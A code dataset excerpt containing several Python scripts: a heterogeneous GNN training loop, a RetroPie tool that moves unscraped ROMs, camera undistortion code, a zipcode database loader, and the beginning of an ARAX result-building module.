self.p_output_dim)\n self.p_dropout = nn.Dropout(p=0.5)\n self.act = nn.LeakyReLU()\n self.softmax = nn.Softmax(dim=1)\n self.out_linear = nn.Linear(self.out_embed_d, self.outemb_d)\n self.output_act = nn.Sigmoid()\n\n def init_weights(self):\n for m in self.modules():\n if isinstance(m, nn.Linear) or isinstance(m, nn.Parameter):\n nn.init.xavier_normal_(m.weight.data)\n m.bias.data.fill_(0.1)\n\n def Bi_RNN(self, neighbor_id, node_type, post_emb_dict, user_emb_dict):\n # Forward pass through initial hidden layer\n input_a = []\n input_b = []\n new_id = []\n if node_type == \"post\":\n for i in neighbor_id:\n if (\"post\", i) not in self.content_dict:\n input_a.append(post_emb_dict[i][0])\n input_b.append(post_emb_dict[i][1])\n new_id.append(i)\n input_a = torch.Tensor(input_a)\n input_b = torch.Tensor(input_b)\n linear_input_text = self.init_linear_text(input_a)\n linear_input_image = self.init_linear_image(input_b)\n linear_input_text = linear_input_text.view(linear_input_text.shape[0],1,linear_input_text.shape[1])\n linear_input_image = linear_input_image.view(linear_input_image.shape[0],1,linear_input_image.shape[1])\n lstm_out_text, self.hidden_text = self.lstm_text(linear_input_text)\n lstm_out_image, self.hidden_image = self.lstm_image(linear_input_image)\n concate = torch.cat((lstm_out_text, lstm_out_image), 1)\n if node_type == \"user\":\n for i in neighbor_id:\n if (\"user\", i) not in self.content_dict:\n input_a.append(user_emb_dict[i][0])\n input_b.append(user_emb_dict[i][1])\n new_id.append(i)\n input_a = torch.Tensor(input_a)\n input_b = torch.Tensor(input_b)\n linear_input_text = self.init_linear_text(input_b)\n linear_input_other = self.init_linear_other(input_a)\n linear_input_text = linear_input_text.view(linear_input_text.shape[0], 1, linear_input_text.shape[1])\n linear_input_other = linear_input_other.view(linear_input_other.shape[0], 1, linear_input_other.shape[1])\n lstm_out_text, self.hidden_text = self.lstm_text(linear_input_text)\n lstm_out_other, self.hidden_other = self.lstm_other(linear_input_other)\n concate = torch.cat((lstm_out_text, lstm_out_other), 1)\n\n # mean pooling all the states\n mean_pooling = torch.mean(concate, 1)\n\n for i in neighbor_id:\n if (\"post\", i) in self.content_dict:\n mean_pooling = torch.cat(mean_pooling, self.content_dict[i], dim=0)\n for i in range(len(new_id)):\n self.content_dict[i] = mean_pooling[i]\n return mean_pooling\n\n #features: list of [(id)]\n def SameType_Agg_Bi_RNN(self, neighbor_id, node_type):\n content_embedings = self.Bi_RNN(neighbor_id, node_type, post_emb_dict, user_emb_dict)\n if node_type == 'post':\n linear_input = self.p_init_linear(content_embedings)\n linear_input = linear_input.view(linear_input.shape[0],1,linear_input.shape[1])\n lstm_out, hidden = self.p_lstm(linear_input)\n last_state = self.p_linear(lstm_out)\n last_state = self.p_dropout(last_state)\n mean_pooling = torch.mean(last_state, 0)\n return mean_pooling\n else:\n linear_input = self.u_init_linear(content_embedings)\n linear_input = linear_input.view(linear_input.shape[0], 1, linear_input.shape[1])\n lstm_out, hidden = self.u_lstm(linear_input)\n last_state = self.u_linear(lstm_out)\n last_state = self.u_dropout(last_state)\n mean_pooling = torch.mean(last_state, 0)\n return mean_pooling\n\n def node_het_agg(self, het_node): #heterogeneous neighbor aggregation\n\n #attention module\n c_agg_batch = self.Bi_RNN([het_node.node_id], het_node.node_type, post_emb_dict, user_emb_dict)\n u_agg_batch = self.SameType_Agg_Bi_RNN(het_node.neighbors_user, \"user\")\n p_agg_batch = self.SameType_Agg_Bi_RNN(het_node.neighbors_post, \"post\")\n\n c_agg_batch_2 = torch.cat((c_agg_batch, c_agg_batch), 1).view(len(c_agg_batch), self.embed_d * 2)\n u_agg_batch_2 = torch.cat((c_agg_batch, u_agg_batch), 1).view(len(c_agg_batch), self.embed_d * 2)\n p_agg_batch_2 = torch.cat((c_agg_batch, p_agg_batch), 1).view(len(c_agg_batch), self.embed_d * 2)\n\n #compute weights\n concate_embed = torch.cat((c_agg_batch_2, u_agg_batch_2, p_agg_batch_2), 1).view(len(c_agg_batch), 3, self.embed_d * 2)\n if het_node.node_type == \"user\":\n atten_w = self.act(torch.bmm(concate_embed, self.u_neigh_att.unsqueeze(0).expand(len(c_agg_batch),*self.u_neigh_att.size())))\n else:\n atten_w = self.act(torch.bmm(concate_embed, self.p_neigh_att.unsqueeze(0).expand(len(c_agg_batch),*self.p_neigh_att.size())))\n atten_w = self.softmax(atten_w).view(len(c_agg_batch), 1, 3)\n\n #weighted combination\n concate_embed = torch.cat((c_agg_batch, u_agg_batch, p_agg_batch), 1).view(len(c_agg_batch), 3, self.embed_d)\n weight_agg_batch = torch.bmm(atten_w, concate_embed).view(len(c_agg_batch), self.embed_d)\n\n return weight_agg_batch\n \n def output(self, c_embed_batch):\n\n batch_size = 1\n # make c_embed 3D tensor. Batch_size * 1 * embed_d\n c_embed = c_embed_batch.view(batch_size, 1, self.out_embed_d)\n c_embed_out = self.out_linear(c_embed)\n predictions = self.output_act(c_embed_out) #log(1/(1+exp(-x))) sigmoid = 1/(1+exp(-x))\n return predictions\n\n def forward(self, x):\n x = self.node_het_agg(het_node = x)\n x = self.output(c_embed_batch=x)\n return x\n\n\ndef BCELoss(predictions, true_label):\n loss = nn.BCELoss()\n predictions = predictions.view(1)\n tensor_label = torch.FloatTensor(np.array([true_label]))\n loss_sum = loss(predictions, tensor_label)\n return loss_sum\n\n\nnet = Het_GNN(input_dim = [300, 512, 12], ini_hidden_dim = [500, 500, 500], hidden_dim=100, batch_size=1, u_input_dim=200, u_hidden_dim=500, u_ini_hidden_dim=500,\n u_batch_size=1, u_output_dim=200, u_num_layers=1, u_rnn_type='LSTM', p_input_dim=200,\n p_hidden_dim=500, p_ini_hidden_dim=500, p_batch_size=1, p_output_dim=200, p_num_layers=1,\n p_rnn_type='LSTM',out_embed_d=200, outemb_d=1)\nnet.init_weights()\nprint(net)\noptimizer = optim.SGD(net.parameters(), lr=0.05)\nrunning_loss = 0.0\nval_loss = 0.0\ntest_loss = 0.0\nnum_epoch = 5\nprint('Start training')\n\n# Shuffle the order in post nodes\nnp.random.shuffle(post_nodes)\n\n# K-fold validation index\ntrain_index = []\nval_index = []\nkfold = KFold(10, True, 1)\nfor train, val in kfold.split(post_nodes[:4300]):\n train_index.append(train)\n val_index.append(val)\n\n# split test set first\ntest_set = post_nodes[4300:]\n\nfor epoch in range(num_epoch):\n print('Epoch:', epoch+1)\n c = 0.0\n running_loss = 0.0\n v = 0.0\n\n # generate train and test set for current epoch\n train_set = []\n val_set = []\n for t_index in train_index[epoch]:\n train_set.append(post_nodes[t_index])\n for v_index in val_index[epoch]:\n val_set.append(post_nodes[v_index])\n for i in range(len(train_set)):\n optimizer.zero_grad()\n output = net(train_set[i])\n if (output.item() >= 0.5 and train_set[i].label == 1) or (output.item() < 0.5 and train_set[i].label == 0):\n c += 1\n loss = BCELoss(predictions=output, true_label=train_set[i].label)\n loss.backward()\n optimizer.step()\n running_loss += loss.item()\n if i % 100 == 99: # print every 100 mini-batches\n print('Epoch: %d, step: %5d, loss: %.4f, acc: %.4f'%\n (epoch + 1, i + 1, running_loss / 100, c/100))\n running_loss = 0.0\n c = 0.0\n for j in range(len(val_set)):\n output = net(val_set[j])\n if (output.item() >= 0.5 and val_set[j].label == 1) or (output.item() < 0.5 and val_set[j].label == 0):\n v += 1\n vloss = BCELoss(predictions=output, true_label=val_set[j].label)\n val_loss += vloss.item()\n print('Validation loss: %.4f, Validation accuracy: %.4f'% (val_loss/len(val_set), v/len(val_set)))\n v = 0.0\n val_loss = 0.0\nprint('Finish training')\n\nprint('==============================================================')\n\nprint('Start testing')\nt = 0.0\nfor k in range(len(test_set)):\n output = net(test_set[k])\n if (output.item() >= 0.5 and test_set[k].label == 1) or (output.item() < 0.5 and test_set[k].label == 0):\n t += 1\n tloss = BCELoss(predictions=output, true_label=test_set[k].label)\n test_loss += tloss.item()\n\nprint('Test loss: %.4f, Test accuracy: %.4f'% (test_loss/len(test_set), t/len(test_set)))\nprint('Finish testing')\n\n", "sub_path": "het_agg_modi.py", "file_name": "het_agg_modi.py", "file_ext": "py", "file_size_in_byte": 15721, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "torch.cuda.is_available", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 10, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 85, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 85, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 117, "usage_type": "name"}, {"api_name": "torch.ones", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 118, "usage_type": "name"}, {"api_name": "torch.ones", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 120, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 120, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 121, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 122, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 122, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 131, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 131, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 134, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 134, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 135, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 135, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 136, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 136, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 139, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 139, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 140, "usage_type": "name"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 141, "usage_type": "name"}, {"api_name": "torch.nn.Softmax", "line_number": 142, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 142, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 143, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 143, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 144, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 144, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 148, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 148, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 148, "usage_type": "attribute"}, {"api_name": "torch.nn.init.xavier_normal_", "line_number": 149, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 149, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 149, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 163, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 164, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 171, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 178, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 179, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 186, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 189, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 193, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 207, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 225, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 226, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 227, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 230, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 232, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 234, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 238, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 239, "usage_type": "call"}, {"api_name": "torch.nn.BCELoss", "line_number": 259, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 259, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 261, "usage_type": "call"}, {"api_name": "torch.optim.SGD", "line_number": 272, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 272, "usage_type": "name"}, {"api_name": "numpy.random.shuffle", "line_number": 280, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 280, "usage_type": "attribute"}, {"api_name": "sklearn.model_selection.KFold", "line_number": 285, "usage_type": "call"}]} +{"seq_id": "164672651", "text": "#!/usr/bin/env python3\nfrom os import path, listdir, makedirs\nfrom locale import setlocale, LC_ALL\nfrom dialog import Dialog as dialog\nfrom sys import exit\nfrom xml.etree import ElementTree as xml\nfrom pathlib import Path\nfrom shutil import move\n\n#####\n\nROM_PATH = \"Downloads/Roms/roms\" # RetroPie/roms\nUNSCRAPED_PATH = \"Downloads/Roms/roms/unscraped\"\n\n#####\n\nhome = str(Path.home())\nrompath = path.join(home, ROM_PATH)\nunscrapedpath = path.join(home, UNSCRAPED_PATH)\n\nsetlocale(LC_ALL, '')\n\n# Set up 'dialog'\nd = dialog(autowidgetsize=True)\nd.set_background_title(\"Remove Unscraped Roms\")\n\n# Make sure the rompath exists\nif not path.isdir(rompath):\n d.msgbox(\"Could not find rom path %s!\" % rompath)\n exit(1)\n\n# Show an infobox\nd.infobox(\"Searching for unscraped roms in %s...\\n\" % rompath)\n\n# List of systems to clean up\nsystems = []\n\n# Loop over all files in the rompath\nfor system in listdir(rompath):\n \n # Make sure it's a directory\n if path.isdir(path.join(rompath, system)) and path.join(rompath, system) != unscrapedpath:\n \n # Make sure there is a 'gamelist.xml' file inside\n gamelist = path.join(rompath, system, 'gamelist.xml')\n if path.exists(gamelist):\n \n # Append the system\n systems.append( (system, \"\", 1 ) )\n\n# Create checklist of all found systems\ncode, systems = d.checklist(\"Which folders should be cleaned of unscraped roms?\", choices=systems)\n\n# If cancel was pressed, quit the program\nif code == d.CANCEL:\n print(\"\\033[H\\033[J\")\n d.clear()\n exit(1)\n\n# Create a list of roms to move and a text placeholder\nmove_roms = []\nmove_text = \"\"\n\n# Show an infobox while searching\nd.infobox(\"Searching for unscraped roms of selected systems...\")\n\n# Loop over all selected systems\nfor system in systems:\n \n # Create a subfolder in the move path, if it doesn't exist\n unscraped_system_path = path.join(unscrapedpath, system)\n if not path.exists(unscraped_system_path):\n makedirs(unscraped_system_path)\n \n # Count total games (only files, subtract one for gamelist.xml which we know exists)\n total_games = len([rom for rom in listdir(path.join(rompath, system)) if path.isfile(path.join(rompath, system, rom))]) - 1\n scraped_games = []\n \n # Get paths of scraped roms from the systems 'gamelist.xml'\n for game in xml.parse(path.join(rompath, system, 'gamelist.xml')).getroot():\n scraped_games.append(game.find('path').text)\n \n # Append to the list text\n move_text += \"Games in '%s' folder: %d total, %d scraped\\n===================================================\\n\\n\" % (system, total_games, len(scraped_games))\n \n # Loop over all roms in the system path\n for rom in listdir(path.join(rompath, system)):\n \n # Build full rompath\n romfile = path.join(rompath, system, rom)\n \n # Check if the rom is a file, not in scraped games and is not the 'gamelist.xml'\n if path.isfile(romfile) and romfile not in scraped_games and rom != 'gamelist.xml':\n \n # Excception for cue/bin pairs\n if romfile.endswith('.bin') and (romfile[:-4] + \".cue\") in scraped_games :\n break\n \n # Append the rom and text\n move_text += \" - %s\\n\" % rom\n move_roms.append( ( path.join(rompath, system, rom), path.join(unscrapedpath, system, rom) ) )\n\n # Add some linebreaks\n move_text += \"\\n\\n\"\n\n# If there are no unscraped roms, we're done\nif len(move_roms) == 0 :\n d.msgbox(\"Did not find any unscraped roms across %d systems in %s!\" % (len(systems), rompath), width=60, height=6)\n print(\"\\033[H\\033[J\")\n d.clear()\n exit(0)\n \n# Ask if the roms should be moved\nif d.scrollbox(move_text, extra_button=True, ok_label=\"Move roms\", extra_label=\"Exit\") == d.OK :\n \n # Show an infobox while moving\n d.infobox(\"Moving unscraped roms...\")\n \n # Move roms to unscrapedpath\n for source, destination in move_roms:\n move(source, destination)\n \n # Done with this system\n d.msgbox(\"Moved %d unscraped roms to %s!\\n\" % (len(move_roms), unscrapedpath), width=60, height=6)\n\n# Done \nprint(\"\\033[H\\033[J\")\nd.clear()\nexit(0)", "sub_path": "delete-unscraped-roms/delete-unscraped-roms.py", "file_name": "delete-unscraped-roms.py", "file_ext": "py", "file_size_in_byte": 4050, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pathlib.Path.home", "line_number": 17, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 17, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "name"}, {"api_name": "locale.setlocale", "line_number": 21, "usage_type": "call"}, {"api_name": "locale.LC_ALL", "line_number": 21, "usage_type": "argument"}, {"api_name": "dialog.Dialog", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 30, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 73, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 76, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 80, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 80, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path", "line_number": 80, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 90, "usage_type": "call"}, {"api_name": "os.path", "line_number": 90, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path", "line_number": 93, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path", "line_number": 101, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 111, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 121, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 129, "usage_type": "call"}]} +{"seq_id": "303005770", "text": "\nimport numpy as np\n\nimport scipy.ndimage\nimage = scipy.ndimage.imread(\"data/task34/CalibIm1.gif\")\n\nimport numpy as np\ncx,cy = np.meshgrid(np.arange(image.shape[0]), np.arange(image.shape[1]))\n\nr = np.stack((cx,cy), axis=2).reshape((-1,2), order='F')\n\nfrom scipy import ndimage\n# ndimage.map_coordinates(a, [[0.5, 2, 3], [0.5, 1, 2]], order=1)\n\nimager = image[:,:,0]\nimageg = image[:,:,1]\nimageb = image[:,:,2]\n\nfrom task3 import *\ndistortion, intrinsicMtx, mtxs = loadCalibData(\"data/task34/Calib.txt\")\nextrinsicMatrix = mtxs[0]\n\nendhomor = np.array([ (p[0], p[1], 1.0) for p in r ])\nintrInv = np.linalg.inv(intrinsicMtx)\nnormalizedHomopoints = intrInv.dot(endhomor.transpose())\nprojectedPoints = np.array([ (hp[0] / hp[2], hp[1] / hp[2]) for hp in normalizedHomopoints.transpose() ])\ncorrectedPoints = np.array([ correctedPoint(p, distortion) for p in projectedPoints ])\nhomopoints2 = np.array([ (p[0], p[1], 1.0) for p in correctedPoints ])\npoints3 = np.array([ intrinsicMtx.dot(p) for p in homopoints2 ])\npoints4 = np.array([ (hp[0] / hp[2], hp[1] / hp[2]) for hp in points3 ])\nmappedPointsR = ndimage.map_coordinates(imager, points4.transpose(), order=3).reshape(480, 640)\nmappedPointsG = ndimage.map_coordinates(imageg, points4.transpose(), order=3).reshape(480, 640)\nmappedPointsB = ndimage.map_coordinates(imageb, points4.transpose(), order=3).reshape(480, 640)\nnewimage = np.stack((mappedPointsR, mappedPointsG, mappedPointsB), axis=-1)\nscipy.misc.imsave(\"data/task34/bar.gif\", newimage)\n\ndistortion, intrinsicMtx, mtxs = loadCalibData(\"data/task34/Calib.txt\")\npoints = loadModelPoints(\"data/task34/Model.txt\")\nhomopoints = [ (p[0], p[1], 0.0, 1.0) for p in points ]\n\n# Undistorted pictures\nsavePictureWithPoints(\"data/task34/bar.gif\", intrinsicMtx, mtxs[0], homopoints)\n", "sub_path": "lab1/tmptask3.py", "file_name": "tmptask3.py", "file_ext": "py", "file_size_in_byte": 1780, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "scipy.ndimage.ndimage.imread", "line_number": 5, "usage_type": "call"}, {"api_name": "scipy.ndimage.ndimage", "line_number": 5, "usage_type": "attribute"}, {"api_name": "scipy.ndimage", "line_number": 5, "usage_type": "name"}, {"api_name": "numpy.meshgrid", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 24, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 30, "usage_type": "call"}, {"api_name": "scipy.ndimage.map_coordinates", "line_number": 31, "usage_type": "call"}, {"api_name": "scipy.ndimage", "line_number": 31, "usage_type": "name"}, {"api_name": "scipy.ndimage.map_coordinates", "line_number": 32, "usage_type": "call"}, {"api_name": "scipy.ndimage", "line_number": 32, "usage_type": "name"}, {"api_name": "scipy.ndimage.map_coordinates", "line_number": 33, "usage_type": "call"}, {"api_name": "scipy.ndimage", "line_number": 33, "usage_type": "name"}, {"api_name": "numpy.stack", "line_number": 34, "usage_type": "call"}, {"api_name": "scipy.ndimage.misc.imsave", "line_number": 35, "usage_type": "call"}, {"api_name": "scipy.ndimage.misc", "line_number": 35, "usage_type": "attribute"}, {"api_name": "scipy.ndimage", "line_number": 35, "usage_type": "name"}]} +{"seq_id": "416177257", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom datetime import *\nfrom models import *\nimport db_api\nimport csv\n#######################################################################\n# Add zipcode information from CSV to DB\nNO_ETO = -1\ndef add_zipcode_infos(infile):\n ifile = open(infile,'rb') \n reader = csv.reader(ifile, delimiter=',') \n for row in reader: \n cols = row\n zipcode = cols[0] \n city = cols[1] \n state = cols[2] \n lat = float(cols[3])\n lng = float(cols[4])\n ele = float(cols[5])\n timezone = int(cols[6])\n dst = int(cols[7])\n\n m1 = float(cols[8])\n m2 = float(cols[9])\n m3 = float(cols[10])\n m4 = float(cols[11])\n m5 = float(cols[12])\n m6 = float(cols[13])\n m7 = float(cols[14])\n m8 = float(cols[15])\n m9 = float(cols[16])\n m10 = float(cols[17])\n m11 = float(cols[18])\n m12 = float(cols[19])\n\n now = datetime.now()\n z = ZipcodeInfo(zipcode=zipcode, city=city,latitude=lat, longitude=lng,elevation=ele, time_zone=timezone,dst=dst,created_at=now,updated_at=now)\n if (float(m1)!=NO_ETO):\n now = datetime.now()\n Eto(zipcode=zipcode, created_at=now, updated_at=now,\n m1=m1, m2=m2, m3=m3, m4=m4, m5=m5, m6=m6, m7=m7, m8=m8, m9=m9, m10=m10, m11=m11, m12=m12)\n\ndef add_data():\n add_zipcode_infos('data/zipcode_infos.csv')\n\ndb_api.open()\nadd_data()\ndb_api.close()\n", "sub_path": "add_data.py", "file_name": "add_data.py", "file_ext": "py", "file_size_in_byte": 1363, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "csv.reader", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.now", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.now", "line_number": 41, "usage_type": "call"}, {"api_name": "db_api.open", "line_number": 48, "usage_type": "call"}, {"api_name": "db_api.close", "line_number": 50, "usage_type": "call"}]} +{"seq_id": "582609004", "text": "#!/usr/bin/env python3\n'''This module defines the `ARAXResultify` class whose `_resultify` method\nenumerates subgraphs of a knowledge graph (KG) that match a pattern set by a\nquery graph (QG) and sets the `results` data attribute of the `message` object\nto be a list of `Result` objects, each corresponding to one of the enumerated\nsubgraphs. The matching between the KG subgraphs and the QG can be forced to be\nsensitive to edge direction by setting `ignore_edge_direction=false` (the\ndefault is to ignore edge direction).\n\n Usage: python3 -u ARAX_resultify.py\n\n will run the built-in tests for ARAX_resultify.py. When testing, also be sure\n to run the `document_dsl_commands.py` script in the `code/ARAX/Documentation`\n directory since that script uses the `describe_me` method of this module.\n\n'''\n\nimport collections\nimport math\nimport os\nimport sys\nfrom typing import List, Dict, Set, Union, Iterable, cast, Optional\nfrom response import Response\n\n__author__ = 'Stephen Ramsey and Amy Glen'\n__copyright__ = 'Oregon State University'\n__credits__ = ['Stephen Ramsey', 'Amy Glen', 'David Koslicki', 'Eric Deutsch']\n__license__ = 'MIT'\n__version__ = '0.1.0'\n__maintainer__ = 'Amy Glen'\n__email__ = ''\n__status__ = 'Prototype'\n\n\n# is there a better way to import swagger_server? Following SO posting 16981921\nPACKAGE_PARENT = '../../UI/OpenAPI/python-flask-server'\nsys.path.append(os.path.normpath(os.path.join(os.getcwd(), PACKAGE_PARENT)))\nfrom swagger_server.models.edge import Edge\nfrom swagger_server.models.node import Node\nfrom swagger_server.models.q_edge import QEdge\nfrom swagger_server.models.q_node import QNode\nfrom swagger_server.models.query_graph import QueryGraph\nfrom swagger_server.models.knowledge_graph import KnowledgeGraph\nfrom swagger_server.models.node_binding import NodeBinding\nfrom swagger_server.models.edge_binding import EdgeBinding\nfrom swagger_server.models.biolink_entity import BiolinkEntity\nfrom swagger_server.models.result import Result\nfrom swagger_server.models.message import Message\n\n\n# define a string-parameterized BiolinkEntity class\nclass BiolinkEntityStr(BiolinkEntity):\n def __init__(self, category_label: str):\n super().__init__()\n self.category_label = category_label\n\n def __str__(self):\n return super().__str__() + \":\" + self.category_label\n\n\n# define a map between category_label and BiolinkEntity object\nBIOLINK_CATEGORY_LABELS = {'protein', 'disease', 'phenotypic_feature', 'gene', 'chemical_substance'}\nBIOLINK_ENTITY_TYPE_OBJECTS = {category_label: BiolinkEntityStr(category_label) for\n category_label in BIOLINK_CATEGORY_LABELS}\n\n\nclass ARAXResultify:\n ALLOWED_PARAMETERS = {'debug', 'ignore_edge_direction'}\n\n def __init__(self):\n self.response = None\n self.message = None\n self.parameters = None\n\n def describe_me(self):\n \"\"\"\n Little helper function for internal use that describes the actions and what they can do\n :return:\n \"\"\"\n\n brief_description = \"\"\" Creates a list of results from the input query graph (QG) based on the the\ninformation contained in the message knowledge graph (KG). Every subgraph\nthrough the KG that satisfies the GQ is returned. Such use cases include:\n- `resultify()` Returns all subgraphs in the knowledge graph that satisfy the\n query graph\n- `resultiy(ignore_edge_direction=false)` This mode checks edge directions in\nthe QG to ensure that matching an edge in the KG to an edge in the QG is only\nallowed if the two edges point in the same direction. The default is to not\ncheck edge direction. For example, you may want to include results that include\nrelationships like `(protein)-[involved_in]->(pathway)` even though the\nunderlying KG only contains directional edges of the form\n`(protein)<-[involved_in]-(pathway)`. Note that this command will successfully\nexecute given an arbitrary query graph and knowledge graph provided by the\nautomated reasoning system, not just ones generated by Team ARA Expander.\"\"\"\n description_list = []\n params_dict = dict()\n params_dict['brief_description'] = brief_description\n params_dict['ignore_edge_direction'] = {'''`true` or `false`. Optional; default is `true`.'''}\n # TODO: will need to update manually if more self.parameters are added\n # eg. params_dict[node_id] = {\"a query graph node ID or list of such id's (required)\"} as per issue #640\n description_list.append(params_dict)\n return description_list\n\n def apply(self, input_message: Message, input_parameters: dict) -> Response:\n\n # Define a default response\n response = Response()\n self.response = response\n self.message = input_message\n\n # Basic checks on arguments\n if not isinstance(input_parameters, dict):\n response.error(\"Provided parameters is not a dict\", error_code=\"ParametersNotDict\")\n return response\n\n # Return if any of the parameters generated an error 